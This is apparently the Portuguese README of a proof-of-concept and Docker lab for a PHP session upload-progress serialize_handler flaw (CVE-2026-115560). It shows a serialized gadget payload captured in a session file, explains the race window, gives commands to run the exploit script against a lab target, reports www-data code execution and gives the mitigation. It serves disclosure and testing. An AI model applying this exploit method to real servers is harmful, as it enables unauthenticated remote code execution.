
Prova de conceito e laboratório Docker para CVE-2026-115560: incompatibilidade de serialize_handler no upload-progress de sessão PHP não autenticado, levando à injeção de objetos e RCE.
Prova de conceito para a vulnerabilidade não corrigida do PHP divulgada no aviso informativo do php.net de 2026-10-23, dois dias após o lançamento emergencial do PHP2Shell (CVE-2026-109618 / -109619).
session.upload_progress.enabled=0php:8.4.27-apache (mod_php) — ou seja, uma build totalmente
corrigida para o PHP2Shell ainda é vulnerável a este problemaTodas as três devem ser atendidas (php.net, 2026-10-23):
session.serialize_handler = php_binary ou php_serialize na configuração do servidorphp em tempo de execução via
ini_set() antes de session_start()session.upload_progress.enabled = 1 (padrão do PHP)PHP-8.4O progresso de upload de sessão (ext/session, o callback rfc1867) é executado antes do RINIT, antes de qualquer código da aplicação:
| etapa | origem | o que acontece |
|---|---|---|
| escrita | php_session_rfc1867_callback → MULTIPART_EVENT_FILE_START → php_rinit_session(0) | PS(serializer) é resolvido a partir do ini do servidor (php_serialize) |
| escrita | php_session_rfc1867_update() → php_session_flush(1) | o arquivo de sessão é gravado imediatamente, no formato php_serialize, contendo upload_progress_<value> como uma chave de array bruta e não sanitizada — o valor do campo PHP_SESSION_UPLOAD_PROGRESS do atacante. ` |
| leitura | aplicação: ini_set('session.serialize_handler','php') → OnUpdateSerializer | redireciona PS(serializer) — permitido enquanto a sessão não está ativa |
| leitura | session_start() → PS_SERIALIZER_DECODE_FUNC(php) | o manipulador php decodifica pares key|serialized e divide no **primeiro ` |
| pop | PHP_VAR_UNSERIALIZE_DESTROY(var_hash) | é executado nos caminhos de SUCESSO e de FALHA, então o __destruct do gadget dispara mesmo que a decodificação geral retorne FALHA (lixo de sessão à direita após o payload) |
Arquivo de sessão resultante (capturado em pleno upload a partir do laboratório, docker exec):
a:1:{s:56:"upload_progress_|O:9:"LabGadget":1:{s:3:"cmd";s:2:"id";}";a:5:{s:10:"start_time";i:1792774742;…}}
^
the "php" handler splits here; everything after it is unserialize()d
Com o session.upload_progress.cleanup=1 padrão, o MULTIPART_EVENT_END
exclui a chave de progresso quando o upload termina — e todos os caminhos
de saída do parse chegam a fileupload_done: em main/rfc1867.c, então um aborto do cliente não
ajuda. O payload, portanto, reside no arquivo de sessão apenas enquanto o upload
está em andamento. Dois fatos tornam a corrida determinística na prática:
flock(LOCK_EX) apenas em torno de cada breve
ciclo initialize→flush (php_session_flush(1) chama s_close), então
leitores concorrentes não são bloqueados durante o upload;post_max_size limita o tamanho, não a
duração), mantendo a janela aberta por minutos se desejado.No laboratório: um upload de 2–4 MiB a 16 KiB/0,1–0,15 s dá uma janela de 13–38 s; o consumidor vence após ~3 s em todas as execuções.
O handler MULTIPART_EVENT_FORMDATA do rfc1867 aceita PHPSESSID do
corpo do POST sem consultar session.use_only_cookies, então o produtor
não precisa de cookie. (A requisição do consumidor passa pelo session_start() normal,
que exige o cookie sob o use_only_cookies=1 padrão.)
lab/
├── Dockerfile php:8.4.27-apache + writable /var/www/html/p (proof drop dir)
├── docker-compose.yml
├── conf/99-vuln.ini php_serialize + upload_progress ON (PHP defaults restated)
├── conf/99-mitigated.ini same + session.upload_progress.enabled=0 (official mitigation)
└── src/
├── index.php vulnerable app: ini_set switch to "php" + session_start() + LabGadget
├── noswitch.php control endpoint: no switch → same handler read/write → harmless
└── info.php JSON dump of the relevant global ini values
LabGadget (uma classe cujo __destruct executa shell_exec($this->cmd)) substitui
qualquer classe de gadget real alcançável no momento unserialize(); contra uma aplicação
real, o gadget vem da sua árvore de dependências (Monolog/Guzzle/…).
$ ./lab.sh up # vuln :8094, mitigated :8097 (builds image, waits for health)
$ python3 poc.py check --target http://127.0.0.1:8094
$ python3 poc.py exploit --target http://127.0.0.1:8094 --cmd "id"
$ ./lab.sh teardown # containers + volumes + image removed
| alvo | esperado | resultado |
|---|---|---|
:8094/index.php (vulnerável) | RCE | ✅ uid=33(www-data)… em 3,3 s (1108 leituras) — reproduzido, 3,3 s novamente (1724 leituras) |
:8097/index.php (mitigação upload_progress.enabled=0) | sem RCE | ✅ sem resultado (89459 leituras) |
:8094/noswitch.php (sem switch de runtime) | sem RCE | ✅ sem resultado (82912 leituras) |
Assinatura do lado do servidor no alvo vulnerável enquanto o consumidor vence:
PHP Warning: session_start(): Failed to decode session object. Session has been destroyed in …/index.php on line 21
— a decodificação falha, mas o __destruct do objeto injetado já foi executado.
ini_set de runtime é incomum),
e é por isso que o PHP está corrigindo isso no ciclo regular — mas a combinação
de recursos está ativada por padrão no lado da escrita.session.upload_progress.enabled = 0 ; php.ini / FPM pool / server config — NOT ini_set()
em seguida, reinicie todos os workers PHP. Eficácia verificada pelo controle :8097 acima.
PHP-8.4 do php-src: ext/session/session.c (callback rfc1867, função de decodificação php, OnUpdateSerializer), main/rfc1867.c (fileupload_done)python3 exploit/exploit.py executa a cadeia completa (saída 1 explorado, 0 seguro).